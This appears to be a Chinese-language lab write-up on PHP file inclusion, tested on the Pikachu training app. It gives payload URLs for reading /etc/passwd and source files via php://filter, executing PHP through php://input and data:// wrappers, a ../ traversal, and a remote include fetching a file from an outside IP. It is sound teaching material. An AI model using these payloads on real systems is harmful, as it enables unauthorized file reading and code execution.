文件包含-基于Pikachu的学习
File_Include(文件包含)
原理
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
环境要求
allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
文件包含常见函数
nclude()
require()
include_once()
require_once()
PHP伪协议
PHP伪协议总结 - 个人文章 - SegmentFault 思否
file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:
http://www.xxx.com?file=file:///etc/passsword
http://
用于访问远程http协议网络路径的文件。
http://www.xxx.com?file=http://127.0.0.1/xxx.php
php://
php://
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。
php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
http://www.xxx.com?file=php://filter/resource=xxx.php
可以使用 convert.base64-encode这个过滤器,去将文件里面转成base64去输出
http://www.xxx.com?file=php://filter/read=convert.base64-encode/resource=xxx.php
php://input
使用php://input,然后再POST数据,我们所输入的数据会被当作php代码去执行,所以我们可以这样使用
http://www.xxx.com?file=php://input
POST的数据:<?php phpinfo();?>
data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
他是以GET传递参数,所以我们可以这样用
http://www.xxx.com?file=data://text/plain,<?php%20phpinfo();?>
或者是base64编码
http://www.xxx.com?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
zip://
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
(#编码为%23)
Pikachu
本地文件包含
打开题目,选一个参数,发现url改变,并且是file+数字,于是多试了几次,的确是这样的
当我尝试到file6的时候,发现了好东西
试到file7,出现了报错,路径都被回显出来了:
fi_loal.php去包含和他同一个路径下include文件夹的文件。
我们就可以根据这个路径,去访问其他地方的文件,这里我在pikachu-matser下已写好文件,我们就访问他,
<?php phpinfo();?> //文件内容
然后构造payload:
http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../test.txt&submit=%E6%8F%90%E4%BA%A4
成功了。
远程文件包含
随便弄了一个参数,看url有了路径
这边是我云服务器写好了文件,可以直接远程访问
http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://8.130.131.63/1.txt&submit=%E6%8F%90%E4%BA%A4
成功了!